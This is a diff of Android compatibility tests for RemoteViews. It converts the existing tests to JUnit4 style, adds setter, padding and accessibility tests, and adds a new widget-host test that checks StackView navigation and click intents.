-            } catch (ActionException e) {
-                // expected
-            }
+            mRemoteViews.reapply(mContext, mResult);
         } finally {
             // remove the test image file
             imagefile.delete();
         }
     }
 
-    public void testSetTextColor() {
+    @Test
+    public void testSetTextColor() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
 
         mRemoteViews.setTextColor(R.id.remoteView_text, R.color.testcolor1);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertSame(ColorStateList.valueOf(R.color.testcolor1), textView.getTextColors());
 
         mRemoteViews.setTextColor(R.id.remoteView_text, R.color.testcolor2);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertSame(ColorStateList.valueOf(R.color.testcolor2), textView.getTextColors());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setTextColor(R.id.remoteView_absolute, R.color.testcolor1);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetOnClickPendingIntent() {
+    @Test
+    public void testSetTextCompoundDrawables() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+
+        TestUtils.verifyCompoundDrawables(textView, -1, -1, -1, -1);
+
+        mRemoteViews.setTextViewCompoundDrawables(R.id.remoteView_text, R.drawable.start,
+                R.drawable.pass, R.drawable.failed, 0);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        TestUtils.verifyCompoundDrawables(textView, R.drawable.start, R.drawable.failed,
+                R.drawable.pass, -1);
+
+        mRemoteViews.setTextViewCompoundDrawables(R.id.remoteView_text, 0,
+                R.drawable.icon_black, R.drawable.icon_red, R.drawable.icon_green);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        TestUtils.verifyCompoundDrawables(textView, -1,  R.drawable.icon_red, R.drawable.icon_black,
+                R.drawable.icon_green);
+
+        mExpectedException.expect(Throwable.class);
+        mRemoteViews.setTextViewCompoundDrawables(R.id.remoteView_absolute, 0,
+                R.drawable.start, R.drawable.failed, 0);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetTextCompoundDrawablesRelative() throws Throwable {
+        TextView textViewLtr = (TextView) mResult.findViewById(R.id.remoteView_text_ltr);
+        TextView textViewRtl = (TextView) mResult.findViewById(R.id.remoteView_text_rtl);
+
+        TestUtils.verifyCompoundDrawables(textViewLtr, -1, -1, -1, -1);
+        TestUtils.verifyCompoundDrawables(textViewRtl, -1, -1, -1, -1);
+
+        mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_text_ltr,
+                R.drawable.start, R.drawable.pass, R.drawable.failed, 0);
+        mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_text_rtl,
+                R.drawable.start, R.drawable.pass, R.drawable.failed, 0);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        TestUtils.verifyCompoundDrawables(textViewLtr, R.drawable.start, R.drawable.failed,
+                R.drawable.pass, -1);
+        TestUtils.verifyCompoundDrawables(textViewRtl, R.drawable.failed, R.drawable.start,
+                R.drawable.pass, -1);
+
+        mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_text_ltr, 0,
+                R.drawable.icon_black, R.drawable.icon_red, R.drawable.icon_green);
+        mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_text_rtl, 0,
+                R.drawable.icon_black, R.drawable.icon_red, R.drawable.icon_green);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        TestUtils.verifyCompoundDrawables(textViewLtr, -1, R.drawable.icon_red,
+                R.drawable.icon_black, R.drawable.icon_green);
+        TestUtils.verifyCompoundDrawables(textViewRtl, R.drawable.icon_red, -1,
+                R.drawable.icon_black, R.drawable.icon_green);
+
+        mExpectedException.expect(Throwable.class);
+        mRemoteViews.setTextViewCompoundDrawablesRelative(R.id.remoteView_absolute, 0,
+                R.drawable.start, R.drawable.failed, 0);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @LargeTest
+    @Test
+    public void testSetOnClickPendingIntent() throws Throwable {
         Uri uri = Uri.parse("ctstest://RemoteView/test");
-        Instrumentation instrumentation = getInstrumentation();
-        ActivityMonitor am = instrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
+        ActivityMonitor am = mInstrumentation.addMonitor(MockURLSpanTestActivity.class.getName(),
                 null, false);
         View view = mResult.findViewById(R.id.remoteView_image);
         view.performClick();
@@ -561,81 +697,237 @@
         assertNull(newActivity);
 
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
-        PendingIntent pendingIntent = PendingIntent.getActivity(mActivity, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
         mRemoteViews.setOnClickPendingIntent(R.id.remoteView_image, pendingIntent);
-        mRemoteViews.reapply(mActivity, mResult);
-        view.performClick();
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.performClick());
         newActivity = am.waitForActivityWithTimeout(TEST_TIMEOUT);
         assertNotNull(newActivity);
+        assertTrue(newActivity instanceof MockURLSpanTestActivity);
         newActivity.finish();
     }
 
-    public void testSetLong() {
+    @Test
+    public void testSetLong() throws Throwable {
         long base1 = 50;
         long base2 = -50;
         Chronometer chronometer = (Chronometer) mResult.findViewById(R.id.remoteView_chronometer);
 
         mRemoteViews.setLong(R.id.remoteView_chronometer, "setBase", base1);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base1, chronometer.getBase());
 
         mRemoteViews.setLong(R.id.remoteView_chronometer, "setBase", base2);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base2, chronometer.getBase());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setLong(R.id.remoteView_absolute, "setBase", base1);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetFloat() {
+    @Test
+    public void testSetFloat() throws Throwable {
         LinearLayout linearLayout = (LinearLayout) mResult.findViewById(R.id.remoteView_linear);
         assertTrue(linearLayout.getWeightSum() <= 0.0f);
 
         mRemoteViews.setFloat(R.id.remoteView_linear, "setWeightSum", 0.5f);
-        mRemoteViews.reapply(mActivity, mResult);
-        assertEquals(0.5f, linearLayout.getWeightSum());
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(0.5f, linearLayout.getWeightSum(), 0.001f);
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setFloat(R.id.remoteView_absolute, "setWeightSum", 1.0f);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testNotFeasibleSetters() {
-        // there is no RemotableViewMethods to use them, how to test?
+    @Test
+    public void testSetByte() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertEquals(0, customView.getByteField());
+
+        byte b = 100;
+        mRemoteViews.setByte(R.id.remoteView_custom, "setByteField", b);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(b, customView.getByteField());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setByte(R.id.remoteView_absolute, "setByteField", b);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetChar() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertEquals('\u0000', customView.getCharField());
+
+        mRemoteViews.setChar(R.id.remoteView_custom, "setCharField", 'q');
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals('q', customView.getCharField());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setChar(R.id.remoteView_absolute, "setCharField", 'w');
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetDouble() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertEquals(0.0, customView.getDoubleField(), 0.0f);
+
+        mRemoteViews.setDouble(R.id.remoteView_custom, "setDoubleField", 0.5);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(0.5, customView.getDoubleField(), 0.001f);
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setDouble(R.id.remoteView_absolute, "setDoubleField", 1.0);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetShort() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertEquals(0, customView.getShortField());
+
+        short s = 25;
+        mRemoteViews.setShort(R.id.remoteView_custom, "setShortField", s);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(s, customView.getShortField());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setShort(R.id.remoteView_absolute, "setShortField", s);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetBundle() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertNull(customView.getBundleField());
+
+        final Bundle bundle = new Bundle();
+        bundle.putString("STR", "brexit");
+        bundle.putInt("INT", 2016);
+        mRemoteViews.setBundle(R.id.remoteView_custom, "setBundleField", bundle);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        final Bundle fromRemote = customView.getBundleField();
+        assertEquals("brexit", fromRemote.getString("STR", ""));
+        assertEquals(2016, fromRemote.getInt("INT", 0));
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setBundle(R.id.remoteView_absolute, "setBundleField", bundle);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetIntent() throws Throwable {
+        MyRemotableView customView = (MyRemotableView) mResult.findViewById(R.id.remoteView_custom);
+        assertNull(customView.getIntentField());
+
+        final Intent intent = new Intent(mContext, SwitchCtsActivity.class);
+        intent.putExtra("STR", "brexit");
+        intent.putExtra("INT", 2016);
+        mRemoteViews.setIntent(R.id.remoteView_custom, "setIntentField", intent);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        final Intent fromRemote = customView.getIntentField();
+        assertEquals(SwitchCtsActivity.class.getName(), fromRemote.getComponent().getClassName());
+        assertEquals("brexit", fromRemote.getStringExtra("STR"));
+        assertEquals(2016, fromRemote.getIntExtra("INT", 0));
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setIntent(R.id.remoteView_absolute, "setIntentField", intent);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testRemoveAllViews() throws Throwable {
+        ViewGroup root = (ViewGroup) mResult.findViewById(R.id.remoteViews_good);
+        assertTrue(root.getChildCount() > 0);
+
+        mRemoteViews.removeAllViews(R.id.remoteViews_good);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(0, root.getChildCount());
+    }
+
+    @Test
+    public void testAddView() throws Throwable {
+        ViewGroup root = (ViewGroup) mResult.findViewById(R.id.remoteViews_good);
+        int originalChildCount = root.getChildCount();
+
+        assertNull(root.findViewById(R.id.remoteView_frame_extra));
+
+        // Create a RemoteViews wrapper around a layout and add it to our root
+        RemoteViews extra = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_extra);
+        mRemoteViews.addView(R.id.remoteViews_good, extra);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+
+        // Verify that our root has that layout as its last (new) child
+        assertEquals(originalChildCount + 1, root.getChildCount());
+        assertNotNull(root.findViewById(R.id.remoteView_frame_extra));
+        assertEquals(R.id.remoteView_frame_extra, root.getChildAt(originalChildCount).getId());
+    }
+
+    @Test
+    public void testSetLabelFor() throws Throwable {
+        View labelView = mResult.findViewById(R.id.remoteView_label);
+        assertEquals(View.NO_ID, labelView.getLabelFor());
+
+        mRemoteViews.setLabelFor(R.id.remoteView_label, R.id.remoteView_text);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(R.id.remoteView_text, labelView.getLabelFor());
+    }
+
+    @Test
+    public void testSetAccessibilityTraversalAfter() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setAccessibilityTraversalAfter(R.id.remoteView_text, R.id.remoteView_frame);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(R.id.remoteView_frame, textView.getAccessibilityTraversalAfter());
+
+        mRemoteViews.setAccessibilityTraversalAfter(R.id.remoteView_text, R.id.remoteView_linear);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(R.id.remoteView_linear, textView.getAccessibilityTraversalAfter());
+    }
+
+    @Test
+    public void testSetAccessibilityTraversalBefore() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setAccessibilityTraversalBefore(R.id.remoteView_text, R.id.remoteView_frame);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(R.id.remoteView_frame, textView.getAccessibilityTraversalBefore());
+
+        mRemoteViews.setAccessibilityTraversalBefore(R.id.remoteView_text, R.id.remoteView_linear);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(R.id.remoteView_linear, textView.getAccessibilityTraversalBefore());
+    }
+
+    @Test
+    public void testSetViewPadding() throws Throwable {
+        View textView = mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setViewPadding(R.id.remoteView_text, 10, 20, 30, 40);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(10, textView.getPaddingLeft());
+        assertEquals(20, textView.getPaddingTop());
+        assertEquals(30, textView.getPaddingRight());
+        assertEquals(40, textView.getPaddingBottom());
+
+        mRemoteViews.setViewPadding(R.id.remoteView_text, 40, 30, 20, 10);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(40, textView.getPaddingLeft());
+        assertEquals(30, textView.getPaddingTop());
+        assertEquals(20, textView.getPaddingRight());
+        assertEquals(10, textView.getPaddingBottom());
     }
 
     private void createSampleImage(File imagefile, int resid) throws IOException {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = mActivity.getResources().openRawResource(resid);
-            target = new FileOutputStream(imagefile);
+        try (InputStream source = mContext.getResources().openRawResource(resid);
+             OutputStream target = new FileOutputStream(imagefile)) {
 
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
-        } finally {
-            try {
-                if (source != null) {
-                    source.close();
-                }
-                if (target != null) {
-                    target.close();
-                }
-            } catch (IOException ignored) {
-                // Ignore the IOException.
-            }
         }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
new file mode 100644
index 0000000..0e2f5cf
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsWidgetTest.java
@@ -0,0 +1,521 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetHostView;
+import android.appwidget.AppWidgetManager;
+import android.appwidget.AppWidgetProviderInfo;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Process;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.AbsListView;
+import android.widget.FrameLayout;
+import android.widget.ListView;
+import android.widget.RemoteViews;
+import android.widget.RemoteViewsService;
+import android.widget.StackView;
+import android.widget.cts.appwidget.MyAppWidgetProvider;
+import android.widget.cts.appwidget.MyAppWidgetService;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.stubbing.Answer;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/**
+ * Test {@link RemoteViews} that expect to operate within a {@link AppWidgetHostView} root.
+ */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsWidgetTest {
+    public static final String[] COUNTRY_LIST = new String[] {
+        "Argentina", "Australia", "Belize", "Botswana", "Brazil", "Cameroon", "China", "Cyprus",
+        "Denmark", "Djibouti", "Ethiopia", "Fiji", "Finland", "France", "Gabon", "Germany",
+        "Ghana", "Haiti", "Honduras", "Iceland", "India", "Indonesia", "Ireland", "Italy",
+        "Japan", "Kiribati", "Laos", "Lesotho", "Liberia", "Malaysia", "Mongolia", "Myanmar",
+        "Nauru", "Norway", "Oman", "Pakistan", "Philippines", "Portugal", "Romania", "Russia",
+        "Rwanda", "Singapore", "Slovakia", "Slovenia", "Somalia", "Swaziland", "Togo", "Tuvalu",
+        "Uganda", "Ukraine", "United States", "Vanuatu", "Venezuela", "Zimbabwe"
+    };
+
+    private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
+        "appwidget grantbind --package android.widget.cts --user 0";
+
+    private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
+        "appwidget revokebind --package android.widget.cts --user 0";
+
+    private static final long TEST_TIMEOUT_MS = 5000;
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
+    private boolean mHasAppWidgets;
+
+    private AppWidgetHostView mAppWidgetHostView;
+
+    private int mAppWidgetId;
+
+    private StackView mStackView;
+
+    private ListView mListView;
+
+    private AppWidgetHost mAppWidgetHost;
+
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+
+        mHasAppWidgets = hasAppWidgets();
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        // We want to bind widgets - run a shell command to grant bind permission to our
+        // package.
+        grantBindAppWidgetPermission();
+
+        mAppWidgetHost = new AppWidgetHost(mContext, 0);
+
+        mAppWidgetHost.deleteHost();
+        mAppWidgetHost.startListening();
+
+        // Configure the app widget provider behavior
+        final CountDownLatch providerCountDownLatch = new CountDownLatch(2);
+        MyAppWidgetProvider.configure(providerCountDownLatch, null, null);
+
+        // Grab the provider to be bound
+        final AppWidgetProviderInfo providerInfo = getAppWidgetProviderInfo();
+
+        // Allocate a widget id to bind
+        mAppWidgetId = mAppWidgetHost.allocateAppWidgetId();
+
+        // Bind the app widget
+        boolean isBinding = getAppWidgetManager().bindAppWidgetIdIfAllowed(mAppWidgetId,
+                providerInfo.getProfile(), providerInfo.provider, null);
+        assertTrue(isBinding);
+
+        // Wait for onEnabled and onUpdate calls on our provider
+        try {
+            assertTrue(providerCountDownLatch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+
+        // Configure the app widget service behavior
+        final CountDownLatch factoryCountDownLatch = new CountDownLatch(2);
+        RemoteViewsService.RemoteViewsFactory factory =
+                mock(RemoteViewsService.RemoteViewsFactory.class);
+        when(factory.getCount()).thenReturn(COUNTRY_LIST.length);
+        doAnswer(new Answer<RemoteViews>() {
+            @Override
+            public RemoteViews answer(InvocationOnMock invocation) throws Throwable {
+                final int position = (Integer) invocation.getArguments()[0];
+                RemoteViews remoteViews = new RemoteViews(mContext.getPackageName(),
+                        R.layout.remoteviews_adapter_item);
+                remoteViews.setTextViewText(R.id.item, COUNTRY_LIST[position]);
+
+                // Set a fill-intent which will be used to fill-in the pending intent template
+                // which is set on the collection view in MyAppWidgetProvider.
+                Bundle extras = new Bundle();
+                extras.putString(MockURLSpanTestActivity.KEY_PARAM, COUNTRY_LIST[position]);
+                Intent fillInIntent = new Intent();
+                fillInIntent.putExtras(extras);
+                remoteViews.setOnClickFillInIntent(R.id.item, fillInIntent);
+
+                if (position == 0) {
+                    factoryCountDownLatch.countDown();
+                }
+                return remoteViews;
+            }
+        }).when(factory).getViewAt(any(int.class));
+        when(factory.getViewTypeCount()).thenReturn(1);
+        MyAppWidgetService.setFactory(factory);
+
+        mActivityRule.runOnUiThread(
+                () -> mAppWidgetHostView = mAppWidgetHost.createView(
+                        mContext, mAppWidgetId, providerInfo));
+
+        // Wait our factory to be called to create the first item
+        try {
+            assertTrue(factoryCountDownLatch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+
+        // Add our host view to the activity behind this test. This is similar to how launchers
+        // add widgets to the on-screen UI.
+        ViewGroup root = (ViewGroup) mActivityRule.getActivity().findViewById(R.id.remoteView_host);
+        FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        mAppWidgetHostView.setLayoutParams(lp);
+
+        mActivityRule.runOnUiThread(() -> root.addView(mAppWidgetHostView));
+    }
+
+    @After
+    public void teardown() {
+        if (!mHasAppWidgets) {
+            return;
+        }
+        mAppWidgetHost.deleteHost();
+        revokeBindAppWidgetPermission();
+    }
+
+    private void grantBindAppWidgetPermission() {
+        try {
+            SystemUtil.runShellCommand(mInstrumentation, GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
+        } catch (IOException e) {
+            fail("Error granting app widget permission. Command: "
+                    + GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND + ": ["
+                    + e.getMessage() + "]");
+        }
+    }
+
+    private void revokeBindAppWidgetPermission() {
+        try {
+            SystemUtil.runShellCommand(mInstrumentation, REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
+        } catch (IOException e) {
+            fail("Error revoking app widget permission. Command: "
+                    + REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND + ": ["
+                    + e.getMessage() + "]");
+        }
+    }
+
+    private boolean hasAppWidgets() {
+        return mInstrumentation.getTargetContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS);
+    }
+
+    private AppWidgetManager getAppWidgetManager() {
+        return (AppWidgetManager) mContext.getSystemService(Context.APPWIDGET_SERVICE);
+    }
+
+    private AppWidgetProviderInfo getAppWidgetProviderInfo() {
+        ComponentName firstComponentName = new ComponentName(mContext.getPackageName(),
+                MyAppWidgetProvider.class.getName());
+
+        return getProviderInfo(firstComponentName);
+    }
+
+    private AppWidgetProviderInfo getProviderInfo(ComponentName componentName) {
+        List<AppWidgetProviderInfo> providers = getAppWidgetManager().getInstalledProviders();
+
+        final int providerCount = providers.size();
+        for (int i = 0; i < providerCount; i++) {
+            AppWidgetProviderInfo provider = providers.get(i);
+            if (componentName.equals(provider.provider)
+                    && Process.myUserHandle().equals(provider.getProfile())) {
+                return provider;
+
+            }
+        }
+
+        return null;
+    }
+
+    @Test
+    public void testInitialState() {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        assertNotNull(mAppWidgetHostView);
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+        assertNotNull(mStackView);
+
+        assertEquals(COUNTRY_LIST.length, mStackView.getCount());
+        assertEquals(0, mStackView.getDisplayedChild());
+        assertEquals(R.id.remoteViews_empty, mStackView.getEmptyView().getId());
+    }
+
+    private void verifySetDisplayedChild(int displayedChildIndex) {
+        final CountDownLatch updateLatch = new CountDownLatch(1);
+        MyAppWidgetProvider.configure(updateLatch, null, null);
+
+        // Create the intent to update the widget. Note that we're passing the value
+        // for displayed child index in the intent
+        Intent intent = new Intent(mContext, MyAppWidgetProvider.class);
+        intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
+        intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, new  int[] { mAppWidgetId });
+        intent.putExtra(MyAppWidgetProvider.KEY_DISPLAYED_CHILD_INDEX, displayedChildIndex);
+        mContext.sendBroadcast(intent);
+
+        // Wait until the update request has been processed
+        try {
+            assertTrue(updateLatch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+        // And wait until the underlying StackView has been updated to switch to the requested
+        // child
+        PollingCheck.waitFor(TEST_TIMEOUT_MS,
+                () -> mStackView.getDisplayedChild() == displayedChildIndex);
+    }
+
+    @Test
+    public void testSetDisplayedChild() {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+
+        verifySetDisplayedChild(4);
+        verifySetDisplayedChild(2);
+        verifySetDisplayedChild(6);
+    }
+
+    private void verifyShowCommand(String intentShowKey, int expectedDisplayedChild) {
+        final CountDownLatch updateLatch = new CountDownLatch(1);
+        MyAppWidgetProvider.configure(updateLatch, null, null);
+
+        // Create the intent to update the widget. Note that we're passing the "indication"
+        // which one of showNext / showPrevious APIs to execute in the intent that we're
+        // creating.
+        Intent intent = new Intent(mContext, MyAppWidgetProvider.class);
+        intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);
+        intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, new  int[] { mAppWidgetId });
+        intent.putExtra(intentShowKey, true);
+        mContext.sendBroadcast(intent);
+
+        // Wait until the update request has been processed
+        try {
+            assertTrue(updateLatch.await(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException ie) {
+            fail(ie.getMessage());
+        }
+        // And wait until the underlying StackView has been updated to switch to the expected
+        // child
+        PollingCheck.waitFor(TEST_TIMEOUT_MS,
+                () -> mStackView.getDisplayedChild() == expectedDisplayedChild);
+    }
+
+    @Test
+    public void testShowNextPrevious() {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+
+        // Two forward
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, 1);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, 2);
+        // Four back (looping to the end of the adapter data)
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_PREVIOUS, 1);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_PREVIOUS, 0);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_PREVIOUS, COUNTRY_LIST.length - 1);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_PREVIOUS, COUNTRY_LIST.length - 2);
+        // And three forward (looping to the start of the adapter data)
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, COUNTRY_LIST.length - 1);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, 0);
+        verifyShowCommand(MyAppWidgetProvider.KEY_SHOW_NEXT, 1);
+    }
+
+    private void verifyItemClickIntents(int indexToClick) throws Throwable {
+        Instrumentation.ActivityMonitor am = mInstrumentation.addMonitor(
+                MockURLSpanTestActivity.class.getName(), null, false);
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+        PollingCheck.waitFor(() -> mStackView.getCurrentView() != null);
+        final View initialView = mStackView.getCurrentView();
+        mActivityRule.runOnUiThread(
+                () -> mStackView.performItemClick(initialView, indexToClick, 0L));
+
+        Activity newActivity = am.waitForActivityWithTimeout(TEST_TIMEOUT_MS);
+        assertNotNull(newActivity);
+        assertTrue(newActivity instanceof MockURLSpanTestActivity);
+        assertEquals(COUNTRY_LIST[indexToClick], ((MockURLSpanTestActivity) newActivity).getParam());
+        newActivity.finish();
+    }
+
+    @Test
